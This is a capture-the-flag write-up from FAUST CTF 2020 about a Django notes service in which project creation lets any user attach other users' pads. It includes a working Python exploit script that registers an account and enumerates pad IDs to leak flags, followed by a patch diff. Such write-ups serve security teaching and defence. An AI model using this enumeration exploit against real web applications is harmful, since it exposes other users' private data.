FAUST CTF 2020: Exploring Planet Mars was my very first experience at an attack & defense CTF and I really enjoyed it. This writeup is coming out quite late, but I wanted to write about one of the problems I helped in solving, alongside Evan Zhang, and the rest of my team.

Description

marsu was a service that consisted of a Django web server which allowed users to create accounts, projects, and “pads” within these projects – sort of like smaller notes within a larger notepad. When viewing a project, all the pads and their content were shown. These pads contained the flag which the gameserver added and could only be viewed through a project.

Below is the code that creates a project and adds the pads the user selected into it. Keep in mind that the pads have already been created as Django models and there’s nothing special or vulnerable there.

@ensure_csrf_cookie
@login_required
def create(request):
    if request.method == 'POST':
        form = NewProjectForm(request.POST)
        if not form.is_valid():
            return render(request, 'project/create.xml', {'form': form})

        # TODO Step 2: confirm inviting new people
        proj = Project()
        proj.title = form.cleaned_data['title']
        proj.save()
        proj.users.add(request.user)
        proj.save()
        for pk in form.cleaned_data['pad']:
            pad = Pad.objects.get(pk=pk)
            pad.project.add(proj)
            pad.save()

        return HttpResponseRedirect(reverse('project:view', args=(proj.id,)))
    else:
        form = NewProjectForm()
        return render(request, 'project/create.xml', {'form': form})

Exploitation

The exploit comes in when the program loops through all added pads and attaches them directly to the project. There’s no validation that these pads aren’t already in other users' (such as the gameserver’s) projects, meaning one can simply loop through and try to add every single pad to a new project in an attempt to leak the flag. Our exploit does the following:

  • Create an account
  • Create a new project with a single pad with pk=1601
  • Find the flag in the response’s content
  • Create a new project with a single pad with pk+=1
  • Repeat
  • Stop if there’s a gap of 30 non-existant pks
#!/usr/bin/env python3

import re
import requests
import secrets
import sys

BASE_URL = 'http://[{ip}]:12345/'.format(ip=sys.argv[1])
req = requests.Session()

reflag = re.compile('(FAUST_[A-Za-z0-9/+]{32})')

recsrf = re.compile('<input type="hidden" name="csrfmiddlewaretoken" value="(\w+)">')
try:
    csrf = recsrf.search(req.get(BASE_URL + 'accounts/register').content.decode()).group(1)
except AttributeError:
    raise SystemExit

username = secrets.token_hex()[:10]
password = secrets.token_hex()[:25]

try:
    a = req.post(
        BASE_URL + 'accounts/register',
        cookies={'csrftoken': csrf},
        data={'csrfmiddlewaretoken': csrf, 'username': username, 'password1': password, 'password2': password}
    )
except Exception:
    raise SystemExit
else:
    if a.status_code != 200:
        raise SystemExit


i = 160
last_flag = 0
failed = 0
while failed < 30:
    v = req.post(
        BASE_URL + 'p/create/',
        cookies={'csrftoken': csrf},
        data={'csrfmiddlewaretoken': csrf, 'title': secrets.token_hex(), 'pad': '[{}]'.format(i), 'people': ''}
    )
    a = reflag.search(v.content.decode())
    if v.status_code != 200:
        failed += 1
    else:
        failed = 0
    if a is not None:
        print(a.group(1))
        last_flag = i
    i += 1

print('Last flag: ', last_flag)

This exploit script can actually be improved significantly by only trying the last few2 pks since we only care about new flags. Trying to add all the pads at once instead of going one at a time could also be done to improve speed and is what another team did.3

Patching

Now that we know the exploit, we need to come up with a patch. We made it a little over complicated, mainly because we didn’t want to risk losing SLA points while also preventing attacks. Our patch was to change the contents of the for loop as such:

     for pk in form.cleaned_data['pad']:
+    try:
-        pad = Pad.objects.get(pk=pk)
+        pad = Pad.objects.get(Q(project=None)|Q(project__users__in=[request.user]), pk=pk)
+    except Pad.DoesNotExist:
+        continue
     pad.project.add(proj)
     pad.save()

This meant that only pads which didn’t belong to a project or those that belonged to a project that the user also belonged to could be added to the new project. From saarsec’s writeup it looks like simply checking that the project was None was just as effective. The try-except was completely unnecessary and actually a bad idea because it could let attackers add every single pad at once and only existing ones would get accepted, leaking everything at once – bad thought on my part.


  1. This was the value of pads that had already been added when we began the exploit. ↩︎

  2. The last pk can be found by creating a new pad and looking at its pk↩︎

  3. This can be seen in saarsec’s writeup here. This is also susceptible to spamming pads which would put the valid flags out of the 20 pad checking range. In practice, this either never occurred or had little impact. ↩︎